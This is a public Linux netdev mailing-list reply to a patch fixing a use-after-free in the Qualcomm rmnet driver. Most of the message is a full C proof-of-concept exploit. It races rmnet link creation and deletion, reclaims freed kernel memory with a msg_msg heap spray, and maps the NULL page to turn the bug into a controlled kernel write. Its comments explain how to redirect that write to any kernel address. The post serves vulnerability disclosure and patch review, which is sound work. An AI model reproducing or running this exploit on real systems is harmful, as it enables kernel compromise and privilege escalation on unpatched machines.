Netdev List
 help / color / mirror / Atom feed
From: Weiming Shi <bestswngs@gmail.com>
To: Subash Abhinov Kasiviswanathan
	<subash.a.kasiviswanathan@oss.qualcomm.com>,
	 Sean Tranchetti <sean.tranchetti@oss.qualcomm.com>,
	Andrew Lunn <andrew+netdev@lunn.ch>,
	 "David S . Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@google.com>,
	 Jakub Kicinski <kuba@kernel.org>,
	Paolo Abeni <pabeni@redhat.com>
Cc: netdev@vger.kernel.org, Xiang Mei <xmei5@asu.edu>
Subject: Re: [PATCH] net: qualcomm: rmnet: fix endpoint use-after-free in rmnet_dellink()
Date: Mon, 11 May 2026 20:15:10 +0800	[thread overview]
Message-ID: <agHIOLmkPnn-FxHr@Air.local> (raw)
In-Reply-To: <20260511120015.2298403-4-bestswngs@gmail.com>


Thanks for your attention to this bug. Here are some resources to help
you trigger the bug.

Required key configs for the poc:

CONFIG_USER_NS=y
kernel.unprivileged_userns_clone=1


Here is a PoC trigger that causes the intended crash shown in the
commit message:
```
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef ETH_P_MAP
#define ETH_P_MAP 0x00F9
#endif

#ifndef RMNET_FLAGS_INGRESS_DEAGGREGATION
#define RMNET_FLAGS_INGRESS_DEAGGREGATION (1U << 0)
#endif

enum {
        _IFLA_RMNET_UNSPEC,
        _IFLA_RMNET_MUX_ID,
        _IFLA_RMNET_FLAGS,
        ___IFLA_RMNET_MAX,
};
struct _ifla_rmnet_flags { uint32_t flags; uint32_t mask; };

#ifndef IFLA_INFO_KIND
#define IFLA_INFO_KIND 1
#define IFLA_INFO_DATA 2
#endif

#define NL_BUFSZ    4096
#define TUN_NAME    "tunrm0"
#define KEEP_NAME   "rmkeep0"
#define VICTIM_NAME "rmvict0"
#define KEEP_MUX    2
#define VICTIM_MUX  1
#define NUM_WRITERS 4

/*
 * Offset of priv->pcpu_stats when dev=NULL:
 *   netdev_priv(NULL) = ALIGN(sizeof(struct net_device), 32)
 *   On this kernel build: 0xa00
 *   pcpu_stats is at offsetof(rmnet_priv, pcpu_stats) = 0x10
 *   So priv->pcpu_stats is at address 0xa10
 *
 * Determined from crash output:
 *   CR2: 0000000000000a10
 *   Code: <48> 8b 86 10 0a 00 00  →  mov rax, [rsi + 0xa10]
 */
#define NETDEV_PRIV_OFFSET   0xa00
#define PCPU_STATS_OFFSET    0x10
#define NULL_PAGE_TARGET     (NETDEV_PRIV_OFFSET + PCPU_STATS_OFFSET) /* 0xa10 */

/*
 * To write at an arbitrary kernel address T:
 *   *(0xa10) = T - per_cpu_offset
 *   per_cpu_offset is read from GS base at runtime.
 *
 * Default target: 0xffffffffdeadbeef (unmapped → page fault proves control)
 * Change WRITE_TARGET to any mapped kernel address for a silent write.
 */
#define WRITE_TARGET         0xffffffffdeadbeefULL
#define PERCPU_OFFSET        0xffff8880f81df000ULL  /* CPU1 on this QEMU build */
#define PCPU_MARKER          ((WRITE_TARGET - PERCPU_OFFSET) & 0xffffffffffffffffULL)

/* Heap spray: msg_msgseg marker for the egress_dev pointer */
#define SPRAY_MARKER         0x4141414141414141ULL

/* --- Heap spray parameters --- */
#define MSG_MSG_SZ_MAX  48
#define DATALEN_MSG     (4096 - MSG_MSG_SZ_MAX)
#define SEG_DATA_SZ     24
#define MSG_TOTAL_SZ    (DATALEN_MSG + SEG_DATA_SZ)
#define SPRAY_COUNT     128

struct spray_msg {
        long mtype;
        char mtext[MSG_TOTAL_SZ];
};

struct rmnet_map_hdr {
        uint8_t  flags;
        uint8_t  mux_id;
        uint16_t pkt_len;
} __attribute__((packed));

static volatile int g_stop = 0;
static int spray_qid = -1;
static struct spray_msg *spray_buf;
static struct spray_msg *recv_buf;

static void pin_cpu(int cpu)
{
        cpu_set_t s;
        CPU_ZERO(&s);
        CPU_SET(cpu, &s);
        sched_setaffinity(0, sizeof(s), &s);
}

static uint16_t ip_csum(const void *b, size_t l)
{
        const uint16_t *p = b;
        uint32_t s = 0;
        while (l > 1) { s += *p++; l -= 2; }
        if (l) s += *(const uint8_t *)p;
        while (s >> 16) s = (s & 0xffff) + (s >> 16);
        return ~s;
}

/* --- NULL page mapping --- */

static void setup_null_page(void)
{
        FILE *f;

        f = fopen("/proc/sys/vm/mmap_min_addr", "w");
        if (f) {
                fprintf(f, "0\n");
                fclose(f);
        } else {
                fprintf(stderr, "WARNING: cannot set mmap_min_addr=0\n");
        }

        /*
         * Map page 0 so that when skb->dev=NULL, the kernel can read
         * through netdev_priv(NULL) without faulting (requires nosmap).
         *
         * At offset 0xa10, place a controlled pcpu_stats pointer.
         * The kernel does: this_cpu_ptr(*(0xa10)) → write at controlled addr.
         */
        void *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                       MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
                       -1, 0);
        if (p == MAP_FAILED) {
                perror("mmap NULL page");
                fprintf(stderr, "NULL page mapping failed — will rely on heap spray only\n");
                return;
        }

        memset(p, 0, 0x1000);

        /* Place controlled pcpu_stats pointer at offset 0xa10 */
        *(uint64_t *)((char *)p + NULL_PAGE_TARGET) = PCPU_MARKER;

        fprintf(stderr, "NULL page mapped. *(0x%x) = 0x%llx\n",
                NULL_PAGE_TARGET, (unsigned long long)PCPU_MARKER);
        fprintf(stderr, "Write target: 0x%llx (= 0x%llx + per_cpu 0x%llx)\n",
                (unsigned long long)WRITE_TARGET,
                (unsigned long long)PCPU_MARKER,
                (unsigned long long)PERCPU_OFFSET);
}

/* --- Heap spray --- */

static void spray_init(void)
{
        spray_buf = malloc(sizeof(*spray_buf));
        recv_buf = malloc(sizeof(*recv_buf));
        if (!spray_buf || !recv_buf) { perror("malloc spray"); exit(1); }

        spray_buf->mtype = 1;
        memset(spray_buf->mtext, 0x41, MSG_TOTAL_SZ);

        spray_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (spray_qid < 0) { perror("msgget"); exit(1); }

        struct msqid_ds ds;
        msgctl(spray_qid, IPC_STAT, &ds);
        ds.msg_qbytes = SPRAY_COUNT * (MSG_TOTAL_SZ + 64);
        msgctl(spray_qid, IPC_SET, &ds);
}

static int spray_kmalloc32(void)
{
        int sent = 0;
        for (int i = 0; i < SPRAY_COUNT; i++) {
                if (msgsnd(spray_qid, spray_buf, MSG_TOTAL_SZ, IPC_NOWAIT) < 0)
                        break;
                sent++;
        }
        return sent;
}

static void spray_cleanup(int count)
{
        for (int i = 0; i < count; i++) {
                if (msgrcv(spray_qid, recv_buf, MSG_TOTAL_SZ, 0, IPC_NOWAIT) < 0)
                        break;
        }
}

/* --- Netlink helpers --- */

#define NLMSG_TAIL(n) \
        ((struct rtattr *)(((char *)(n)) + NLMSG_ALIGN((n)->nlmsg_len)))

static void nla_put(struct nlmsghdr *n, int t, const void *d, size_t l)
{
        struct rtattr *r = NLMSG_TAIL(n);
        size_t rl = RTA_LENGTH(l);
        r->rta_type = t;
        r->rta_len = rl;
        if (l) memcpy(RTA_DATA(r), d, l);
        n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(rl);
}

static struct rtattr *nla_nest(struct nlmsghdr *n, int t)
{
        struct rtattr *r = NLMSG_TAIL(n);
        nla_put(n, t, NULL, 0);
        return r;
}

static void nla_nest_end(struct nlmsghdr *n, struct rtattr *r)
{
        r->rta_len = (char *)NLMSG_TAIL(n) - (char *)r;
}

static int nl_talk(int fd, struct nlmsghdr *h)
{
        static uint32_t seq = 100;
        char buf[NL_BUFSZ];

        h->nlmsg_seq = __atomic_fetch_add(&seq, 1, __ATOMIC_RELAXED);
        h->nlmsg_pid = 0;
        if (send(fd, h, h->nlmsg_len, 0) < 0) return -errno;

        for (;;) {
                ssize_t n = recv(fd, buf, sizeof(buf), 0);
                if (n < 0) { if (errno == EINTR) continue; return -errno; }
                struct nlmsghdr *r;
                for (r = (void *)buf; NLMSG_OK(r, (unsigned)n); r = NLMSG_NEXT(r, n)) {
                        if (r->nlmsg_seq != h->nlmsg_seq) continue;
                        if (r->nlmsg_type == NLMSG_ERROR)
                                return ((struct nlmsgerr *)NLMSG_DATA(r))->error;
                        if (r->nlmsg_type == NLMSG_DONE) return 0;
                }
        }
}

/* --- Device operations --- */

static int open_tun(const char *name)
{
        int fd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
        if (fd < 0) { perror("tun"); exit(1); }
        struct ifreq ifr = {};
        snprintf(ifr.ifr_name, IFNAMSIZ, "%s", name);
        ifr.ifr_flags = IFF_TUN | IFF_MULTI_QUEUE;
        if (ioctl(fd, TUNSETIFF, &ifr)) { perror("TUNSETIFF"); exit(1); }
        return fd;
}

static void link_up(const char *name)
{
        int fd = socket(AF_INET, SOCK_DGRAM, 0);
        struct ifreq ifr = {};
        snprintf(ifr.ifr_name, IFNAMSIZ, "%s", name);
        ioctl(fd, SIOCGIFFLAGS, &ifr);
        ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
        ioctl(fd, SIOCSIFFLAGS, &ifr);
        close(fd);
}

static int mk_rmnet(int nlfd, const char *name, const char *lower, uint16_t mux)
{
        struct { struct nlmsghdr h; struct ifinfomsg i; char b[NL_BUFSZ]; } rq = {};
        unsigned idx = if_nametoindex(lower);
        if (!idx) return -ENODEV;

        rq.h.nlmsg_len = NLMSG_LENGTH(sizeof(rq.i));
        rq.h.nlmsg_type = RTM_NEWLINK;
        rq.h.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;

        nla_put(&rq.h, IFLA_IFNAME, name, strlen(name) + 1);
        nla_put(&rq.h, IFLA_LINK, &idx, 4);

        struct rtattr *li = nla_nest(&rq.h, IFLA_LINKINFO);
        nla_put(&rq.h, IFLA_INFO_KIND, "rmnet", 6);
        struct rtattr *id = nla_nest(&rq.h, IFLA_INFO_DATA);
        nla_put(&rq.h, _IFLA_RMNET_MUX_ID, &mux, 2);
        struct _ifla_rmnet_flags f = { 0, RMNET_FLAGS_INGRESS_DEAGGREGATION };
        nla_put(&rq.h, _IFLA_RMNET_FLAGS, &f, sizeof(f));
        nla_nest_end(&rq.h, id);
        nla_nest_end(&rq.h, li);

        return nl_talk(nlfd, &rq.h);
}

static int rm_link(int nlfd, const char *name)
{
        unsigned idx = if_nametoindex(name);
        if (!idx) return -ENODEV;
        struct { struct nlmsghdr h; struct ifinfomsg i; char b[256]; } rq = {};
        rq.h.nlmsg_len = NLMSG_LENGTH(sizeof(rq.i));
        rq.h.nlmsg_type = RTM_DELLINK;
        rq.h.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        rq.i.ifi_index = idx;
        return nl_talk(nlfd, &rq.h);
}

/* --- Writer thread --- */

static void *writer_fn(void *arg)
{
        int fd = *(int *)arg;
        uint8_t pkt[64];
        struct tun_pi *pi = (void *)pkt;
        struct rmnet_map_hdr *rm = (void *)(pi + 1);
        uint8_t *ip = (uint8_t *)(rm + 1);

        memset(pkt, 0, sizeof(pkt));
        pi->proto = htons(ETH_P_MAP);
        rm->mux_id = VICTIM_MUX;
        rm->pkt_len = htons(20);
        ip[0] = 0x45; ip[3] = 0x14; ip[4] = 0x12; ip[5] = 0x34;
        ip[8] = 0x40; ip[9] = 0xfd;
        ip[12] = 0x0a; ip[15] = 1; ip[16] = 0x0a; ip[19] = 2;
        *(uint16_t *)(ip + 10) = ip_csum(ip, 20);
        size_t len = sizeof(*pi) + sizeof(*rm) + 20;

        pin_cpu(1);

        while (!__atomic_load_n(&g_stop, __ATOMIC_RELAXED)) {
                for (int i = 0; i < 64; i++)
                        write(fd, pkt, len);
        }
        return NULL;
}

int main(void)
{
        int nlfd, tun_fds[NUM_WRITERS];
        pthread_t tids[NUM_WRITERS];
        uint64_t iter = 0;
        int spray_sent;

        fprintf(stderr,
                "=== rmnet endpoint RCU UAF → controlled write PoC ===\n\n"
                "Write chain: ep->egress_dev → skb->dev → netdev_priv()\n"
                "  → priv->pcpu_stats → this_cpu_ptr() → rx_pkts++ (WRITE)\n\n"
                "Two attack paths:\n"
                "  Path A (NULL page): ep->egress_dev=NULL → dev=NULL\n"
                "    → reads *(0x%x) from mapped page 0 → controlled write\n"
                "  Path B (heap spray): ep->egress_dev=0x%llx from msg_msgseg\n"
                "    → direct controlled pointer → GP fault at marker\n\n",
                NULL_PAGE_TARGET,
                (unsigned long long)SPRAY_MARKER);

        pin_cpu(0);
        nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

        /* Map page 0 with controlled data for the NULL deref path */
        setup_null_page();

        /* Create TUN + persistent rmnet */
        for (int i = 0; i < NUM_WRITERS; i++)
                tun_fds[i] = open_tun(TUN_NAME);
        link_up(TUN_NAME);

        if (mk_rmnet(nlfd, KEEP_NAME, TUN_NAME, KEEP_MUX))
                { fprintf(stderr, "Failed to create %s\n", KEEP_NAME); exit(1); }
        link_up(KEEP_NAME);

        /* Initialize heap spray */
        spray_init();

        /* Start writer threads */
        for (int i = 0; i < NUM_WRITERS; i++)
                pthread_create(&tids[i], NULL, writer_fn, &tun_fds[i]);

        fprintf(stderr, "Writers started. Racing...\n");

        for (;;) {
                iter++;

                int e = mk_rmnet(nlfd, VICTIM_NAME, TUN_NAME, VICTIM_MUX);
                if (e) {
                        if ((iter % 10000) == 0)
                                fprintf(stderr, "[%llu] create err=%d\n",
                                        (unsigned long long)iter, e);
                        usleep(100);
                        continue;
                }
                link_up(VICTIM_NAME);

                rm_link(nlfd, VICTIM_NAME);

                /* Spray kmalloc-32 to reclaim freed endpoint slab */
                spray_sent = spray_kmalloc32();

                usleep(50);

                spray_cleanup(spray_sent);

                while (if_nametoindex(VICTIM_NAME))
                        ;

                if ((iter % 500) == 0)
                        fprintf(stderr, "[spray] iter=%llu sent=%d\n",
                                (unsigned long long)iter, spray_sent);
        }

        __atomic_store_n(&g_stop, 1, __ATOMIC_RELAXED);
        for (int i = 0; i < NUM_WRITERS; i++)
                pthread_join(tids[i], NULL);
        msgctl(spray_qid, IPC_RMID, NULL);
        close(nlfd);
        return 0;
}

```


      reply	other threads:[~2026-05-11 12:15 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-05-11 12:00 [PATCH] net: qualcomm: rmnet: fix endpoint use-after-free in rmnet_dellink() Weiming Shi
2026-05-11 12:15 ` Weiming Shi [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=agHIOLmkPnn-FxHr@Air.local \
    --to=bestswngs@gmail.com \
    --cc=andrew+netdev@lunn.ch \
    --cc=davem@davemloft.net \
    --cc=edumazet@google.com \
    --cc=kuba@kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=sean.tranchetti@oss.qualcomm.com \
    --cc=subash.a.kasiviswanathan@oss.qualcomm.com \
    --cc=xmei5@asu.edu \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox